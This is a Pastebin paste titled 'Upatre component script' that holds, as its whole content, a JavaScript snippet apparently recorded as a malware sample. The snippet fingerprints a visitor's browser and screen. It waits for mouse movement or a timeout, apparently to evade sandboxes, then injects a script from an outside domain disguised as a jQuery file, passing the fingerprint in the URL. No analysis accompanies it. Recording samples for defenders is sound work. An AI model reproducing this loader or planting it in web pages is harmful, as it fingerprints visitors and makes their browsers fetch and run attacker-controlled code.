Advertisement
dynamoo

Upatre component script

Jan 8th, 2015
237
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. moved = 0;
  2. besend = false;
  3. function get_query() {
  4.     besend = true;
  5.     ua = navigator.userAgent;wd = screen.width;hg = screen.height;pl = navigator.platform;
  6.     var tmp1 = document.createElement("script"); tmp1.type = "text/javascript"; tmp1.async = true;
  7.     tmp1.src = "http://blackstonebikes.co.uk/js/jquery-1.7.50.js?t1=" + ua + "&t2=" + wd + "&t3=" + hg + "&t4=1121850173&t5=" + moved + "&t6=5969.js";
  8.     var tmp2 = document.getElementsByTagName("script")[0];
  9.     tmp2.parentNode.insertBefore(tmp1, tmp2);
  10. }
  11. document.onmousemove = function(){moved = 1;clearTimeout(timeout);if ((!besend)) {get_query();}
  12. }
  13. timeout = setTimeout(function(){if ((!moved) && (!besend))  {get_query();besend = true}}, 20000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement